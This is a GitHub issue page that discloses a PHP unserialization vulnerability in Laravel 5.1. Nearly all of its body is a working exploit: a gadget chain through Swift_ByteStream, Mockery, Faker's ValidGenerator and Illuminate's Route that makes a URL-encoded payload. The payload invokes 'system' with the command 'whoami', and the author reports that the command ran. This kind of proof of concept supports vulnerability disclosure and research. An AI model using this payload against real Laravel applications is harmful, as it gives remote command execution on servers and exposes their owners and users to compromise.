Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Laravel5.1 exists unserialization vulnerability #1

Open
Y4tacker opened this issue Jul 15, 2021 · 0 comments
Open

Laravel5.1 exists unserialization vulnerability #1

Y4tacker opened this issue Jul 15, 2021 · 0 comments

Comments

@Y4tacker
Copy link
Owner

First we add a route
image
here is the exp

<?php

namespace {

    class Swift_ByteStream_FileByteStream{
        private $_path;
        public function __construct(){
            $this->_path = new \Mockery\Generator\DefinedTargetClass();
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
    {


    }


}

namespace Mockery\Generator{
    class DefinedTargetClass
    {
        private $rfc ;
        public function __construct(){
            $this->rfc = new \Faker\ValidGenerator();
        }
    }
}

namespace Faker{
    class ValidGenerator
    {
        protected $generator;
        protected $validator = 'system';
        protected $maxRetries = 1;
        public function __construct(){
            $this->generator = new \Illuminate\Routing\Route();

        }
    }

}

namespace Illuminate\Routing{
    class Route
    {
        protected $action;
        public function __construct(){
            $this->action['as'] = 'whoami';
        }
        public function getName()
        {
            return isset($this->action['as']) ? $this->action['as'] : null;
        }
    }
}


namespace{
    $a = new Swift_ByteStream_TemporaryFileByteStream();
    echo urlencode(serialize($a));

}
?>

Successfully executed the command whoami
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant